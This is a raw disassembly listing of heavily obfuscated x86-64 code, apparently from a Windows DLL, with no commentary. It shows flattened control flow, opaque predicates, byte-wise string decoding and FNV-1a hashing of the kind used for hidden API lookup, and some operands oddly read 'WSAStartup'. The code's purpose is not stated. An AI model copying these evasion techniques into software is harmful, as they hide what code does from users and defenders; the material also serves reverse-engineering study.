mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rsp + 0x80], al
mov ecx, 0x5a6942b
jmp 0x1800b1fe0
mov edx, dword [rsp + 0x54]
xor edx, dword [rsp + 0x68]
mov byte [rcx + 7], dl
mov edx, 0xa40239d2
nop word cs:[rax + rax]
nop
cmp edx, 0x8a7f6fce
je 0x1800b2e8b
cmp edx, 0xa40239d2
jne 0x1800b2da0
mov dword [rsp + 0x54], 0x41
mov edx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x36ea5fe0
je 0x1800b2de2
cmp edx, 0x844386c7
jne 0x1800b2dd0
jmp 0x1800b2de9
mov edx, 0x844386c7
jmp 0x1800b2dd0
mov qword [rsp + 0x298], r15
mov rdx, qword [rsp + 0x298]
mov dl, byte [rdx]
add dl, 7
movsx edx, dl
mov dword [rsp + 0x68], edx
mov edx, 0x8a7f6fce
jmp 0x1800b2da0
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rsp + 0x280], al
mov ecx, 0xa40239d2
cmp ecx, 0x8a7f6fce
je 0x1800b2f0c
cmp ecx, 0xa40239d2
jne 0x1800b2e20
mov dword [rsp + 0x54], 0x64
mov ecx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x36ea5fe0
je 0x1800b2e62
cmp ecx, 0x844386c7
jne 0x1800b2e50
jmp 0x1800b2e69
mov ecx, 0x844386c7
jmp 0x1800b2e50
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 8
movsx eax, al
mov dword [rsp + 0x68], eax
mov ecx, 0x8a7f6fce
jmp 0x1800b2e20
mov edx, dword [rsp + 0x54]
xor edx, dword [rsp + 0x68]
mov byte [rcx + 8], dl
mov edx, 0xa40239d2
nop dword [rax + rax]
cmp edx, 0x8a7f6fce
je 0x1800b2f8b
cmp edx, 0xa40239d2
jne 0x1800b2ea0
mov dword [rsp + 0x54], 0x64
mov edx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x36ea5fe0
je 0x1800b2ee2
cmp edx, 0x844386c7
jne 0x1800b2ed0
jmp 0x1800b2ee9
mov edx, 0x844386c7
jmp 0x1800b2ed0
mov qword [rsp + 0x298], r15
mov rdx, qword [rsp + 0x298]
mov dl, byte [rdx]
add dl, 8
movsx edx, dl
mov dword [rsp + 0x68], edx
mov edx, 0x8a7f6fce
jmp 0x1800b2ea0
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rsp + 0x281], al
mov ecx, 0xa40239d2
cmp ecx, 0x8a7f6fce
je 0x1800b300c
cmp ecx, 0xa40239d2
jne 0x1800b2f20
mov dword [rsp + 0x54], 0x64
mov ecx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x36ea5fe0
je 0x1800b2f62
cmp ecx, 0x844386c7
jne 0x1800b2f50
jmp 0x1800b2f69
mov ecx, 0x844386c7
jmp 0x1800b2f50
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 9
movsx eax, al
mov dword [rsp + 0x68], eax
mov ecx, 0x8a7f6fce
jmp 0x1800b2f20
mov edx, dword [rsp + 0x54]
xor edx, dword [rsp + 0x68]
mov byte [rcx + 9], dl
mov edx, 0xa40239d2
nop dword [rax + rax]
cmp edx, 0x8a7f6fce
je 0x1800b308b
cmp edx, 0xa40239d2
jne 0x1800b2fa0
mov dword [rsp + 0x54], 0x64
mov edx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x36ea5fe0
je 0x1800b2fe2
cmp edx, 0x844386c7
jne 0x1800b2fd0
jmp 0x1800b2fe9
mov edx, 0x844386c7
jmp 0x1800b2fd0
mov qword [rsp + 0x298], r15
mov rdx, qword [rsp + 0x298]
mov dl, byte [rdx]
add dl, 9
movsx edx, dl
mov dword [rsp + 0x68], edx
mov edx, 0x8a7f6fce
jmp 0x1800b2fa0
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rsp + 0x282], al
mov ecx, 0xa40239d2
cmp ecx, 0x8a7f6fce
je 0x1800b310c
cmp ecx, 0xa40239d2
jne 0x1800b3020
mov dword [rsp + 0x54], 0x52
mov ecx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x36ea5fe0
je 0x1800b3062
cmp ecx, 0x844386c7
jne 0x1800b3050
jmp 0x1800b3069
mov ecx, 0x844386c7
jmp 0x1800b3050
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 0xa
movsx eax, al
mov dword [rsp + 0x68], eax
mov ecx, 0x8a7f6fce
jmp 0x1800b3020
mov edx, dword [rsp + 0x54]
xor edx, dword [rsp + 0x68]
mov byte [rcx + 0xa], dl
mov edx, 0xa40239d2
nop dword [rax + rax]
cmp edx, 0x8a7f6fce
je 0x1800b318b
cmp edx, 0xa40239d2
jne 0x1800b30a0
mov dword [rsp + 0x54], 0x52
mov edx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x36ea5fe0
je 0x1800b30e2
cmp edx, 0x844386c7
jne 0x1800b30d0
jmp 0x1800b30e9
mov edx, 0x844386c7
jmp 0x1800b30d0
mov qword [rsp + 0x298], r15
mov rdx, qword [rsp + 0x298]
mov dl, byte [rdx]
add dl, 0xa
movsx edx, dl
mov dword [rsp + 0x68], edx
mov edx, 0x8a7f6fce
jmp 0x1800b30a0
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rsp + 0x283], al
mov ecx, 0xa40239d2
cmp ecx, 0x8a7f6fce
je 0x1800b320c
cmp ecx, 0xa40239d2
jne 0x1800b3120
mov dword [rsp + 0x54], 0x65
mov ecx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x36ea5fe0
je 0x1800b3162
cmp ecx, 0x844386c7
jne 0x1800b3150
jmp 0x1800b3169
mov ecx, 0x844386c7
jmp 0x1800b3150
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 0xb
movsx eax, al
mov dword [rsp + 0x68], eax
mov ecx, 0x8a7f6fce
jmp 0x1800b3120
mov edx, dword [rsp + 0x54]
xor edx, dword [rsp + 0x68]
mov byte [rcx + 0xb], dl
mov edx, 0xa40239d2
nop dword [rax + rax]
cmp edx, 0x8a7f6fce
je 0x1800b328b
cmp edx, 0xa40239d2
jne 0x1800b31a0
mov dword [rsp + 0x54], 0x65
mov edx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x36ea5fe0
je 0x1800b31e2
cmp edx, 0x844386c7
jne 0x1800b31d0
jmp 0x1800b31e9
mov edx, 0x844386c7
jmp 0x1800b31d0
mov qword [rsp + 0x298], r15
mov rdx, qword [rsp + 0x298]
mov dl, byte [rdx]
add dl, 0xb
movsx edx, dl
mov dword [rsp + 0x68], edx
mov edx, 0x8a7f6fce
jmp 0x1800b31a0
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rsp + 0x284], al
mov ecx, 0xa40239d2
cmp ecx, 0x8a7f6fce
je 0x1800b330c
cmp ecx, 0xa40239d2
jne 0x1800b3220
mov dword [rsp + 0x54], WSAStartup
mov ecx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x36ea5fe0
je 0x1800b3262
cmp ecx, 0x844386c7
jne 0x1800b3250
jmp 0x1800b3269
mov ecx, 0x844386c7
jmp 0x1800b3250
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 0xc
movsx eax, al
mov dword [rsp + 0x68], eax
mov ecx, 0x8a7f6fce
jmp 0x1800b3220
mov edx, dword [rsp + 0x54]
xor edx, dword [rsp + 0x68]
mov byte [rcx + 0xc], dl
mov edx, 0xa40239d2
nop dword [rax + rax]
cmp edx, 0x8a7f6fce
je 0x1800b338b
cmp edx, 0xa40239d2
jne 0x1800b32a0
mov dword [rsp + 0x54], WSAStartup
mov edx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x36ea5fe0
je 0x1800b32e2
cmp edx, 0x844386c7
jne 0x1800b32d0
jmp 0x1800b32e9
mov edx, 0x844386c7
jmp 0x1800b32d0
mov qword [rsp + 0x298], r15
mov rdx, qword [rsp + 0x298]
mov dl, byte [rdx]
add dl, 0xc
movsx edx, dl
mov dword [rsp + 0x68], edx
mov edx, 0x8a7f6fce
jmp 0x1800b32a0
mov eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x68]
mov byte [rsp + 0x285], al
mov ecx, 0xa40239d2
cmp ecx, 0x8a7f6fce
je 0x1800b1fbd
cmp ecx, 0xa40239d2
jne 0x1800b3320
mov dword [rsp + 0x54], 0x75
mov ecx, 0x36ea5fe0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x36ea5fe0
je 0x1800b3362
cmp ecx, 0x844386c7
jne 0x1800b3350
jmp 0x1800b3369
mov ecx, 0x844386c7
jmp 0x1800b3350
mov qword [rsp + 0x298], r15
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
add al, 0xd
movsx eax, al
mov dword [rsp + 0x68], eax
mov ecx, 0x8a7f6fce
jmp 0x1800b3320
mov edx, dword [rsp + 0x54]
xor edx, dword [rsp + 0x68]
mov byte [rcx + 0xd], dl
mov edx, 0xa40239d2
nop dword [rax + rax]
cmp edx, 0x8a7f6fce
je 0x1800b33fc
cmp edx, 0xa40239d2
jne 0x1800b33a0
mov dword [rsp + 0x54], 0x75
mov edx, 0x36ea5fe0
nop dword [rax]
cmp edx, 0x36ea5fe0
je 0x1800b33d2
cmp edx, 0x844386c7
jne 0x1800b33c0
jmp 0x1800b33d9
mov edx, 0x844386c7
jmp 0x1800b33c0
mov qword [rsp + 0x298], r15
mov rdx, qword [rsp + 0x298]
mov dl, byte [rdx]
add dl, 0xd
movsx edx, dl
mov dword [rsp + 0x68], edx
mov edx, 0x8a7f6fce
jmp 0x1800b33a0
mov edx, dword [rsp + 0x54]
xor edx, dword [rsp + 0x68]
mov byte [rcx + 0xe], dl
add rcx, 0xf
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x48], rdi
mov ecx, dword [0x180129750]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete cl
cmp dword [0x180129754], 0xa
setge bl
xor cl, bl
mov eax, ecx
xor al, 1
and dl, bl
or dl, al
xor dl, cl
mov ecx, 0x44f8bf86
cmovne ecx, r8d
jmp 0x1800b1fe0
cmp ecx, 0x7c742e0
jne 0x1800b1fe0
mov rcx, r15
call fcn.1800c15c0
mov ecx, dword [0x1801294f8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801294fc], 0xa
setl dl
or dl, cl
mov r8d, 0x6b3afa7f
mov ecx, 0xd9a22da7
cmovne r8d, ecx
mov r9d, 0x6b3afa7f
mov ecx, 0xa024a977
cmovne r9d, ecx
mov r13d, 0xa01aa426
mov ecx, 0x95eaf0dc
cmovne r13d, ecx
mov edi, 0xa01aa426
mov ecx, 0x9aca454
cmovne edi, ecx
mov ebx, 0x96d144b1
jmp 0x1800b34f0
movsxd rcx, r10d
xor rcx, qword [rsp + 0x298]
movabs rdx, 0x100000001b3
imul rcx, rdx
mov edx, dword [rsp + 0x40]
add edx, 1
mov ebx, 0x126ae241
nop word cs:[rax + rax]
nop dword [rax]
mov esi, ebx
cmp ebx, 0x9aca453
jle 0x1800b3550
cmp esi, 0x4bacb182
jle 0x1800b35a0
cmp esi, 0x5751c9b6
jle 0x1800b363c
cmp esi, 0x77e83218
jg 0x1800b372d
cmp esi, 0x5751c9b7
je 0x1800b3752
mov ebx, esi
cmp esi, 0x6b3afa7f
jne 0x1800b34f0
mov esi, dword [rsp + 0x60]
mov esi, dword [rsp + 0x60]
mov ebx, 0xa024a977
jmp 0x1800b34f0
cmp esi, 0xba417c88
jg 0x1800b3600
cmp esi, 0xa024a976
jg 0x1800b367a
cmp esi, 0x95eaf0dc
je 0x1800b375c
cmp esi, 0x96d144b1
je 0x1800b376b
mov ebx, esi
cmp esi, 0xa01aa426
jne 0x1800b34f0
mov ebx, 0x9aca454
jmp 0x1800b34f0
cmp esi, 0x140ee926
jg 0x1800b36b6
mov ebx, r13d
cmp esi, 0x9aca454
je 0x1800b34f0
cmp esi, 0x11a33ffd
je 0x1800b3775
mov ebx, esi
cmp esi, 0x126ae241
jne 0x1800b34f0
mov dword [rsp + 0x40], edx
mov qword [rsp + 0x298], rcx
mov esi, dword [rsp + 0x48]
mov ebx, dword [rsp + 0x40]
cmp ebx, esi
mov ebx, 0x77e83219
mov esi, 0x22a3f0a1
cmovb ebx, esi
jmp 0x1800b34f0
cmp esi, 0xdaa262c9
jg 0x1800b36f6
cmp esi, 0xba417c89
je 0x1800b34be
cmp esi, 0xc68ca180
je 0x1800b3782
mov ebx, esi
cmp esi, 0xd9a22da7
jne 0x1800b34f0
mov ebx, 0xf648bac2
jmp 0x1800b34f0
cmp esi, 0x4bacb183
je 0x1800b37ac
mov ebx, r9d
cmp esi, 0x52c11306
je 0x1800b34f0
mov ebx, esi
cmp esi, 0x568f1370
jne 0x1800b34f0
mov esi, dword [rsp + 0x48]
add esi, 1
mov dword [rsp + 0x68], esi
mov ebx, 0xdaa262ca
jmp 0x1800b34f0
cmp esi, 0xa024a977
je 0x1800b37c2
cmp esi, 0xb3dd72df
je 0x1800b3816
mov ebx, esi
cmp esi, 0xb78226fb
jne 0x1800b34f0
mov esi, dword [rsp + 0x54]
cmp esi, 0x7f
setl byte [rsp + 0x7e]
mov ebx, 0xee7ccbb7
jmp 0x1800b34f0
cmp esi, 0x140ee927
je 0x1800b383b
cmp esi, 0x22a3f0a1
je 0x1800b384a
mov ebx, esi
cmp esi, 0x38d2119f
jne 0x1800b34f0
cmp byte [rsp + 0x80], 0
mov ebx, 0x140ee927
mov esi, 0x52c11306
cmovne ebx, esi
jmp 0x1800b34f0
mov ebx, edi
cmp esi, 0xdaa262ca
je 0x1800b34f0
cmp esi, 0xee7ccbb7
je 0x1800b3860
mov ebx, esi
cmp esi, 0xf648bac2
jne 0x1800b34f0
mov ebx, 0xba417c89
mov r10d, dword [rsp + 0x58]
jmp 0x1800b34f0
cmp esi, 0x7f221d67
jne 0x1800b3877
mov esi, dword [rsp + 0x60]
cmp esi, 0x5b
setl byte [rsp + 0x80]
mov ebx, 0x38d2119f
jmp 0x1800b34f0
mov ebx, 0x4bacb183
jmp 0x1800b34f0
mov ebx, 0xc68ca180
mov r11d, dword [rsp + 0x68]
jmp 0x1800b34f0
mov ebx, 0x11a33ffd
jmp 0x1800b34f0
mov ebx, 0xc68ca180
xor r11d, r11d
jmp 0x1800b34f0
mov dword [rsp + 0x48], r11d
mov esi, dword [rsp + 0x48]
movsx esi, byte [rax + rsi]
mov dword [rsp + 0x54], esi
mov esi, dword [rsp + 0x54]
cmp esi, 0x20
mov ebx, 0x5751c9b7
mov esi, 0xb78226fb
cmovge ebx, esi
jmp 0x1800b34f0
mov ebx, 0x126ae241
xor edx, edx
movabs rcx, 0xcbf29ce484222325
jmp 0x1800b34f0
mov esi, dword [rsp + 0x60]
mov ebx, esi
not ebx
mov r12d, esi
and r12d, 0x4048890
mov r14d, ebx
and r14d, 0x9021040a
or r14d, r12d
mov ebp, esi
and ebp, 0x6bda7345
and ebx, 0x20
or ebx, 0x6b822240
xor ebx, ebp
or ebx, r14d
lea r14, [rsp + 0x298]
and esi, 0x20
or esi, 0xfba3264a
xor esi, ebx
mov dword [rsp + 0x58], esi
mov ebx, r8d
jmp 0x1800b34f0
mov rsi, qword [rsp + 0x70]
movsx esi, byte [rsi]
mov dword [rsp + 0x60], esi
mov esi, dword [rsp + 0x60]
cmp esi, 0x41
mov ebx, 0x140ee927
mov esi, 0x7f221d67
cmovge ebx, esi
jmp 0x1800b34f0
mov ebx, 0xba417c89
mov r10d, dword [rsp + 0x60]
jmp 0x1800b34f0
mov esi, dword [rsp + 0x40]
add rsi, rax
mov qword [rsp + 0x70], rsi
mov ebx, 0xb3dd72df
jmp 0x1800b34f0
cmp byte [rsp + 0x7e], 0
mov ebx, 0x5751c9b7
mov esi, 0x568f1370
cmovne ebx, esi
jmp 0x1800b34f0
mov ebx, esi
cmp esi, 0x77e83219
jne 0x1800b34f0
mov rcx, qword [rsp + 0x298]
call fcn.1800e9be0
mov qword [rsp + 0x110], rax
lea rax, [rsp + 0x2d0]
mov qword [rsp + 0x98], rax
mov rcx, qword [rsp + 0x98]
call fcn.180108668
mov qword [rsp + 0x118], rax
mov eax, 0x54d02e8a
mov r13d, dword [rsp + 0xb4]
jmp 0x1800b0630
mov eax, dword [rsp + 0x14c]
mov dword [rsp + 0xb8], eax
mov eax, dword [0x180129718]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9f2effc0
mov ecx, 0x79a6ffaf
jmp 0x1800bbdfd
mov eax, 0x32aeb578
jmp 0x1800b0630
mov eax, dword [rsp + 0xb8]
add eax, dword [rsp + 0x88]
mov dword [rsp + 0xbc], eax
mov eax, 0xd6ccd718
jmp 0x1800b0630
mov eax, dword [0x180129718]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x29025825
mov ecx, 0xcbaef6d0
jmp 0x1800bbdfd
cmp byte [rsp + 0x8d], 0
mov eax, 0x65e8732
mov ecx, 0xfc49a6a4
cmovne eax, ecx
jmp 0x1800b0630
mov eax, 0x56b915ad
jmp 0x1800b0630
lea rcx, [rsp + 0x180]
mov qword [rsp + 0xf0], rcx
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x70], rcx
mov eax, 0x3dacbce7
nop word [rax + rax]
cmp eax, 0x4ba287c4
je 0x1800b4f54
cmp eax, 0x3dacbce7
jne 0x1800b3990
mov rax, qword [rsp + 0x70]
mov dword [rsp + 0x48], 0x43
mov edx, 0x21587ead
nop word cs:[rax + rax]
nop
cmp edx, 0x8cf96cc
je 0x1800b3a30
cmp edx, 0x21587ead
jne 0x1800b39c0
mov dword [rsp + 0x40], 0x33d6
mov edx, 0x13896f2d
nop dword [rax]
cmp edx, 0xefcd29e
je 0x1800b3a18
cmp edx, 0x13896f2d
jne 0x1800b39e0
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0xefcd29e
jmp 0x1800b39e0
mov word [rsp + 0x58], cx
movzx edx, word [rsp + 0x58]
mov ecx, dword [rsp + 0x48]
add cx, dx
mov edx, 0x8cf96cc
jmp 0x1800b39c0
mov word [rsp + 0x40], cx
movzx ecx, word [rsp + 0x40]
mov word [rax], cx
mov dword [rsp + 0x48], WSAStartup
mov edx, 0x21587ead
nop word [rax + rax]
cmp edx, 0x8cf96cc
je 0x1800b3ac0
cmp edx, 0x21587ead
jne 0x1800b3a50
mov dword [rsp + 0x40], 0x33d6
mov edx, 0x13896f2d
nop dword [rax]
cmp edx, 0xefcd29e
je 0x1800b3aa8
cmp edx, 0x13896f2d
jne 0x1800b3a70
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0xefcd29e
jmp 0x1800b3a70
mov word [rsp + 0x58], cx
movzx edx, word [rsp + 0x58]
mov ecx, dword [rsp + 0x48]
add cx, dx
mov edx, 0x8cf96cc
jmp 0x1800b3a50
mov word [rsp + 0x40], cx
movzx ecx, word [rsp + 0x40]
mov word [rax + 2], cx
mov dword [rsp + 0x48], WSAStartup
mov edx, 0x21587ead
nop dword [rax + rax]
cmp edx, 0x8cf96cc
je 0x1800b3b50
cmp edx, 0x21587ead
jne 0x1800b3ae0
mov dword [rsp + 0x40], 0x33d6
mov edx, 0x13896f2d
nop dword [rax]
cmp edx, 0xefcd29e
je 0x1800b3b38
cmp edx, 0x13896f2d
jne 0x1800b3b00
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0xefcd29e
jmp 0x1800b3b00
mov word [rsp + 0x58], cx
movzx edx, word [rsp + 0x58]
mov ecx, dword [rsp + 0x48]
add cx, dx
mov edx, 0x8cf96cc
jmp 0x1800b3ae0
mov word [rsp + 0x40], cx
movzx ecx, word [rsp + 0x40]
mov word [rax + 4], cx
mov dword [rsp + 0x48], 0x74
mov edx, 0x21587ead
nop dword [rax + rax]
cmp edx, 0x8cf96cc
je 0x1800b3be0
cmp edx, 0x21587ead
jne 0x1800b3b70
mov dword [rsp + 0x40], 0x33d6
mov edx, 0x13896f2d
nop dword [rax]
cmp edx, 0xefcd29e
je 0x1800b3bc8
cmp edx, 0x13896f2d
jne 0x1800b3b90
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0xefcd29e
jmp 0x1800b3b90
mov word [rsp + 0x58], cx
movzx edx, word [rsp + 0x58]
mov ecx, dword [rsp + 0x48]
add cx, dx
mov edx, 0x8cf96cc
jmp 0x1800b3b70
mov word [rsp + 0x40], cx
movzx ecx, word [rsp + 0x40]
mov word [rax + 6], cx
mov dword [rsp + 0x48], 0x65
mov edx, 0x21587ead
nop dword [rax + rax]
cmp edx, 0x8cf96cc
je 0x1800b3c70
cmp edx, 0x21587ead
jne 0x1800b3c00
mov dword [rsp + 0x40], 0x33d6
mov edx, 0x13896f2d
nop dword [rax]
cmp edx, 0xefcd29e
je 0x1800b3c58
cmp edx, 0x13896f2d
jne 0x1800b3c20
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0xefcd29e
jmp 0x1800b3c20
mov word [rsp + 0x58], cx
movzx edx, word [rsp + 0x58]
mov ecx, dword [rsp + 0x48]
add cx, dx
mov edx, 0x8cf96cc
jmp 0x1800b3c00
mov word [rsp + 0x40], cx
movzx ecx, word [rsp + 0x40]
mov word [rax + 8], cx
mov dword [rsp + 0x48], WSAStartup
mov edx, 0x21587ead
nop dword [rax + rax]
cmp edx, 0x8cf96cc
je 0x1800b3d00
cmp edx, 0x21587ead
jne 0x1800b3c90
mov dword [rsp + 0x40], 0x33d6
mov edx, 0x13896f2d
nop dword [rax]
cmp edx, 0xefcd29e
je 0x1800b3ce8
cmp edx, 0x13896f2d
jne 0x1800b3cb0
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0xefcd29e
jmp 0x1800b3cb0
mov word [rsp + 0x58], cx
movzx edx, word [rsp + 0x58]
mov ecx, dword [rsp + 0x48]
add cx, dx
mov edx, 0x8cf96cc
jmp 0x1800b3c90
mov word [rsp + 0x40], cx
movzx ecx, word [rsp + 0x40]
mov word [rax + 0xa], cx
mov dword [rsp + 0x48], 0x74
mov edx, 0x21587ead
nop dword [rax + rax]
cmp edx, 0x8cf96cc
je 0x1800b3d90
cmp edx, 0x21587ead
jne 0x1800b3d20
mov dword [rsp + 0x40], 0x33d6
mov edx, 0x13896f2d
nop dword [rax]
cmp edx, 0xefcd29e
je 0x1800b3d78
cmp edx, 0x13896f2d
jne 0x1800b3d40
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0xefcd29e
jmp 0x1800b3d40
mov word [rsp + 0x58], cx
movzx edx, word [rsp + 0x58]
mov ecx, dword [rsp + 0x48]
add cx, dx
mov edx, 0x8cf96cc
jmp 0x1800b3d20
mov word [rsp + 0x40], cx
movzx ecx, word [rsp + 0x40]
mov word [rax + 0xc], cx
mov dword [rsp + 0x48], 0x2d
mov edx, 0x21587ead
nop dword [rax + rax]
cmp edx, 0x8cf96cc
je 0x1800b3e20
cmp edx, 0x21587ead
jne 0x1800b3db0
mov dword [rsp + 0x40], 0x33d6
mov edx, 0x13896f2d
nop dword [rax]
cmp edx, 0xefcd29e
je 0x1800b3e08
cmp edx, 0x13896f2d
jne 0x1800b3dd0
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0xefcd29e
jmp 0x1800b3dd0
mov word [rsp + 0x58], cx
movzx edx, word [rsp + 0x58]
mov ecx, dword [rsp + 0x48]
add cx, dx
mov edx, 0x8cf96cc
jmp 0x1800b3db0
mov word [rsp + 0x40], cx
movzx ecx, word [rsp + 0x40]
mov word [rax + 0xe], cx
mov dword [rsp + 0x48], 0x4c
mov edx, 0x21587ead
nop dword [rax + rax]
cmp edx, 0x8cf96cc
je 0x1800b3eb0
cmp edx, 0x21587ead
jne 0x1800b3e40
mov dword [rsp + 0x40], 0x33d6
mov edx, 0x13896f2d
nop dword [rax]
cmp edx, 0xefcd29e
je 0x1800b3e98
cmp edx, 0x13896f2d
jne 0x1800b3e60
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0xefcd29e
jmp 0x1800b3e60
mov word [rsp + 0x58], cx
movzx edx, word [rsp + 0x58]
mov ecx, dword [rsp + 0x48]
add cx, dx
mov edx, 0x8cf96cc
jmp 0x1800b3e40
mov word [rsp + 0x40], cx
movzx ecx, word [rsp + 0x40]
mov word [rax + 0x10], cx
add rax, 0x12
mov qword [rsp + 0x298], rax
mov dword [rsp + 0x48], 0x65
mov ecx, 0x21587ead
nop word [rax + rax]
cmp ecx, 0x8cf96cc
je 0x1800b3f50
cmp ecx, 0x21587ead
jne 0x1800b3ee0
mov dword [rsp + 0x40], 0x33d6
mov ecx, 0x13896f2d
nop dword [rax]
cmp ecx, 0xefcd29e
je 0x1800b3f38
cmp ecx, 0x13896f2d
jne 0x1800b3f00
movsxd rax, dword [rsp + 0x40]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov ecx, 0xefcd29e
jmp 0x1800b3f00
mov word [rsp + 0x58], ax
movzx ecx, word [rsp + 0x58]
mov eax, dword [rsp + 0x48]
add ax, cx
mov ecx, 0x8cf96cc
jmp 0x1800b3ee0
mov word [rsp + 0x40], ax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x60], ax
mov eax, 0x4ba287c4
jmp 0x1800b3990
mov ecx, 0x7fac4fa5
lea rdi, [rsp + 0x258]
mov ebx, 0xbc142a6f
jmp 0x1800b3fa0
mov byte [rsp + 0x68], al
mov al, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
mov byte [rcx], al
mov ecx, 0x20a6c60
mov rax, qword [rsp + 0x40]
nop word cs:[rax + rax]
cmp ecx, 0x52d3917e
jg 0x1800b3fe0
cmp ecx, 0x20a6c5f
jg 0x1800b4020
cmp ecx, 0xbc142a6f
je 0x1800b405e
cmp ecx, 0xd6e653d0
jne 0x1800b40e5
mov qword [rsp + 0x60], rdi
mov ecx, 0x52d3917f
jmp 0x1800b3fa0
cmp ecx, 0x6c21fe40
jg 0x1800b4040
cmp ecx, 0x52d3917f
je 0x1800b406d
cmp ecx, 0x648817b2
jne 0x1800b3fa0
mov rcx, qword [rsp + 0x298]
add rcx, 1
mov qword [rsp + 0x40], rcx
mov rcx, qword [rsp + 0x48]
add rcx, qword [rsp + 0x40]
mov qword [rsp + 0x70], rcx
mov ecx, 0x6c21fe41
jmp 0x1800b3fa0
cmp ecx, 0x20a6c60
je 0x1800b4085
cmp ecx, 0x686b14b
jne 0x1800b3fa0
mov ecx, 0x20a6c60
xor eax, eax
jmp 0x1800b3fa0
cmp ecx, 0x6c21fe41
je 0x1800b40a6
cmp ecx, 0x7fac4fa5
jne 0x1800b3fa0
mov ecx, 0x686b14b
jmp 0x1800b3fa0
mov qword [rsp + 0x48], rdi
mov ecx, 0x648817b2
jmp 0x1800b3fa0
mov rcx, qword [rsp + 0x60]
add rcx, 0x19
mov qword [rsp + 0x58], rcx
mov ecx, 0x9311ceba
jmp 0x1800b3fa0
mov qword [rsp + 0x298], rax
mov rcx, qword [rsp + 0x298]
cmp rcx, 0x18
